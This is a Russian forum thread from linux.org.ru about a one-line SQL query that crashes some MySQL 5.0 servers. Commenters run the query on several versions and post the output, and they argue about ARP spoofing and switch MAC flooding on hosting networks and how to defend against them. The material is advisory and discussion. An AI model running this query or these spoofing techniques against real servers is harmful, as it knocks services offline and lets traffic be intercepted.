LINUX.ORG.RU

Удалённый DoS против MySQL 5


0

0

СУБД (версии уточняются) MySQL 5.x уязвима к следующей DoS атаке: "SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));", которая приводит к падению сервера. Хостерам рекомендуется обновиться незамедлительно.

>>> Подробности

Ответ на: комментарий от anonymous

Кстати. Как это так получилось, что в 5.0.24 и 5.0.27 уязвимость есть, а в 5.0.26 нет? Я вот исполнял на 5.0.26 и просто разрывалось соединение с базой. Но при этом база не падала. Странно все это.. :O)

localstorm
()
Ответ на: комментарий от anonymous

>Быть может, где-то в Урюпинске это и так, но в любом уважающем себя московском датацентре поставить себе произвольный мак == отрубиться от сети.

Ты наверное все-все датацентры видел?

Да и зачем произвольный? Ставишь такой же, как и у рутера.

Да и как ты в пределах одной локалки защитишься от ARP-спуфинга?

true
()
Ответ на: комментарий от true

>Ты наверное все-все датацентры видел?

Большинство московских.

>Да и зачем произвольный? Ставишь такой же, как и у рутера.

.... и тебя отключают от порта.

>Да и как ты в пределах одной локалки защитишься от ARP-спуфинга?

Железо нормальное поставлю. Всё более-менее серьезное железо решает проблему ARP-спуфинга.

Короче, хорош тупить, двигай на www.cisco.com и читай до чего современные железуи доросли.

anonymous
()
Ответ на: комментарий от Zulu

>Ты кльовый перец! ОС с СУБД сравниваешь. А с какова ты горада?

Чувааак! Я не с твоего района :)

И вообще меня наконец отпустило а тебя по видимому - нет. Тк уязвимость там была не в ОС а в точно таком же демоне.

signal
()
Ответ на: комментарий от Sano

> По логам он рестартится и выкидывает дампы. ИМХО побольше таких запросов и будет виден DоS-эффект.

mysql-5.0.37 x86_64:

linux # ps auxf | fgrep mysql
root     13502  0.0  0.0   6664   836 pts/0    S+   05:20   0:00  |                   \_ grep -F mysql
root      6128  0.0  0.1  10840  1728 pts/0    S    04:42   0:00 /bin/sh /usr/bin/mysqld_safe
mysql    12729  0.0  1.6 147020 25872 pts/0    Sl   05:16   0:00  \_ /usr/sbin/mysqld --basedir=/usr <skipped>
linux # mysql test -e 'SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));' -p
Enter password: 
ERROR 2013 (HY000) at line 1: Lost connection to MySQL server during query
linux # ps auxf | fgrep mysql
root     13620  0.0  0.0   6664   836 pts/0    S+   05:20   0:00  |                   \_ grep -F mysql
root      6128  0.0  0.1  10840  1728 pts/0    S    04:42   0:00 /bin/sh /usr/bin/mysqld_safe
mysql    13594  1.0  1.6 146472 25292 pts/0    Sl   05:20   0:00  \_ /usr/sbin/mysqld --basedir=/usr <skipped>
linux #

Смотрим PID до и после запроса.

mutronix ★★★★
()

andrey@gg-lfs (~)$ mysql --version                                                                                                   
mysql  Ver 14.12 Distrib 5.0.33, for pc-linux-gnu (i686) using readline 5.0
andrey@gg-lfs (~)$ mysql test -e 'SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));'                                             
ERROR 2013 (HY000) at line 1: Lost connection to MySQL server during query
andrey@gg-lfs (~)$ ps ax | grep mysql
 3851 ?        S      0:00 /bin/sh /usr/bin/mysqld_safe --user=mysql
 5085 ?        Sl     0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/srv/mysql --user=mysql --pid-file=/srv/mysql/gg-lfs.pid --skip-external-locking --port=3306 --socket=/var/run/mysql/mysql.sock
 5097 pts/3    D+     0:00 grep mysql

т.е. ребутиццо, причем довольно быстро

generatorglukoff ★★
()

mysql> select version();
+------------+
| version() |
+------------+
| 5.0.38-log |
+------------+
1 row in set (0.00 sec)

mysql> use demo;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table example (id int);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into example values(1);
Query OK, 1 row affected (0.00 sec)

mysql> SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));
+------+
| id |
+------+
| 1 |
+------+
1 row in set (0.00 sec)

anonymous
()
Ответ на: комментарий от anonymous

> Быть может, где-то в Урюпинске это и так,

Есть одна быдлоконторка в москве - мастерхост зовется. Когда туда сервер на колокейшн ставишь, там одного только паразитного траффика на полтора мегабита. Дают 4 IP в обычной сети класса C. Можно снифером 250 соседних серверов слушать. Можно положить 250 соседних серверов, присвоив себе IP шлюза... В общем и в москве бывают говенные колокейшны. Можно конечно за дополнительные $$$ попросить выделенный вилан, но лучше свалить на RTCOMM.

anonymous
()
Ответ на: комментарий от INFOMAN

> Тру слакварщикам лень вручную обновляться, вот и бесятся.

К вашему сожалению, Слака (как обычно) неуязвима. Не работает в
ней данный эксплойт. Так что можете умыться.

annonymous ★★
()
Ответ на: комментарий от true

Миша, ты снова в бутылку полез? Тебе зюзерутера мало? ;)

mutronix ★★★★
()
Ответ на: комментарий от annonymous

>К вашему сожалению, Слака (как обычно) неуязвима. Не работает в ней данный эксплойт. Так что можете умыться.

Это как - святой лик Патрика озарит каждый пакет м избавит его от багов?

signal
()
Ответ на: комментарий от true

>Да и как ты в пределах одной локалки защитишься от ARP-спуфинга?
У нас когда сетка была в общаге(на свичах), банально забивал пару мак-ИП роутера в /etc/ethers и все АРП-спуфферы сосали=)

Nao ★★★★★
()
Ответ на: комментарий от signal

> Это как - святой лик Патрика озарит каждый пакет м избавит его от багов?

Возможно, и так. Однако не боги пакеты собирают, а люди. Патрик делает это честно. Может в этом секрет.

annonymous ★★
()
Ответ на: комментарий от Nao

>У нас когда сетка была в общаге(на свичах), банально забивал пару мак-ИП роутера в /etc/ethers и все АРП-спуфферы сосали=)

Ты предлагаешь всем клиентам хостинга так сделать?

true
()
Ответ на: комментарий от true

> Ты предлагаешь всем клиентам хостинга так сделать?

Миша, защита от спуфинга - это проблема провайдера, а не пользователей.

mutronix ★★★★
()

5.0, не работает:

mysql> insert into example values(1);
Query OK, 1 row affected (0.01 sec)

mysql> SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.01 sec)

Farcaller ★★
()
Ответ на: комментарий от anonymous

>Всё более-менее серьезное железо решает проблему ARP-спуфинга

Любой грамотный спец одновременно с ARP-спуфингом делает MAC cache poisoning свича.

>Короче, хорош тупить, двигай на www.cisco.com и читай до чего современные железуи доросли

И что станет с Каталистом через пару минут при поступлении 1000 в секунду фэйковых пакетов с различными src MAC? Правильно! Переключится в режим хаба. Проверь..

anonymous
()
Ответ на: комментарий от anonymous

>Любой грамотный спец одновременно с ARP-спуфингом делает MAC cache poisoning свича.

Да хоть еще плясинг виз бубинг вокруг коммутатора. VLAN,VLAN и еще раз VLAN! Ты можешь поставить себе хоть mac-адрес господа бога - все равно твой пакет пойдет строго туда куда ему админ сказал.

И еще - хватит господа уже грабить музеи - позорный 3com 3300 имеющий 24 100мбитных порта, оптоволоконный одномодовый модуль и умеющий tagged-vlans стоит щас где-то сотню баксов. Я на пиво и курево в неделю больше трачу.

signal
()
Ответ на: комментарий от signal

> стоит щас где-то сотню баксов. Я на пиво и курево в неделю больше трачу.

такими темпами, боюсь, вам жить осталось максимум лет 5.

isden ★★★★★
()
Ответ на: комментарий от isden

>такими темпами, боюсь, вам жить осталось максимум лет 5.

Ну наверное помимо балтики и беломора есть и более другие марки да? Хотя насчет недели я наверное переборщил - две недели.

signal
()
Ответ на: комментарий от signal

дык ясен пень что балтика и беломор не тру :) а вот две недели - это еще куда ни шло, у меня примерно так же :)

isden ★★★★★
()
Ответ на: комментарий от anonymous

>>Да и зачем произвольный? Ставишь такой же, как и у рутера. >.... и тебя отключают от порта.

не отключат, а просто не выпустят с другим маком. cisco при правильной настройке ещё и админу стуканёт.

emp
()
Ответ на: комментарий от anonymous

> И что станет с Каталистом через пару минут при поступлении 1000 в секунду фэйковых пакетов с различными src MAC? Правильно! Переключится в режим хаба. Проверь..

открой для себя port security. если на порту сказано "только такой мак и никакой другой", то остальные пакеты просто подропаются. в таком случае дос можно делать только забиванием канала. но на каталистах и против этого есть средства борьбы.

emp
()
Ответ на: комментарий от signal

>Ты можешь поставить себе хоть mac-адрес господа бога - все равно твой пакет пойдет строго туда куда ему админ сказал.

Да ты не в курсе о чем речь! Мой хост с нормальным IP и нормальным МАС для ARP-спуфинга не интересны. Есть хост, который подвергается атаке. По его нормальному IP адресу с его правильным МАС dst непрерывно идут arp replay в которых для IP адреса дефолтового шлюза указан мой МАС. Ты хоть обвяжись VLANами, но весь его трафик наружу пойдет через мой хост.

anonymous
()
Ответ на: комментарий от anonymous

Ты хорошо понял что такое VLANы? Ты хоть задолбайся слать свой мак-адрес в качестве рутера даже если отравишь кеш у арпа - у тебя номер влана (это отдельный тег в каждом пакете) -ДРУГОЙ. Пакет от атакуемого сервера до тебя не дойдет -его срежет коммутатор.

signal
()
Ответ на: комментарий от signal

Это все конечно в случае отсутствия маршрутизации между вланами - суть есть dmz.

signal
()
Ответ на: комментарий от signal

Ну наконец на ЛОРе стали за дело разговаривать ! А то все за линукс, да за линукс. ;) Приплюсуюсь насчет Крушовице. Чехия - рулит !

anonymous
()
Ответ на: комментарий от anonymous

> Приплюсуюсь насчет Крушовице. Чехия - рулит !

хм. надо запробовать будет. анонимные аналитики зря пиво хвалить не будут имхо.

isden ★★★★★
()
Ответ на: комментарий от signal

1. Во-первых, даже в нашем городе, даже в простой локальной сети, стоят свичи, которые просто запоминают при включении маки на портах, а потом рубят порт, если мак сменился. До перезагрузки свича. Если у хостера оборудование хуже чем в городской локалке - значит это не хостер а бомж на помойке. Очень интересно какими словами ты обьяснишь хостеру нафига ты менял свой мак и за что тебя свич откинул.

2. Если хостер не последний бомж, то на его сервере стоит следилка за сменой маков, которая тихонько отошлет письмо админу. Кто, когда, с какого, на какой, а вот на кукуй - это уже ты будешь обьяснять хостеру. Очень интересно какими словами.

3. Как только начнется разборка инцидента, ситуация сразу же станет ясной. особенно если на атакуемом и сервере хостера нормально настроен файр и пишутся все логи.

4. Попробуй еще добится, что бы твой сервер стоял на той же площадке и в том же сегменте, что и цель.

В общем вероятность что у тебя получится - очень небольшая, а вот вероятность того, что если получится тебя натянут на кукан по самые зеньки - почти 100%

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.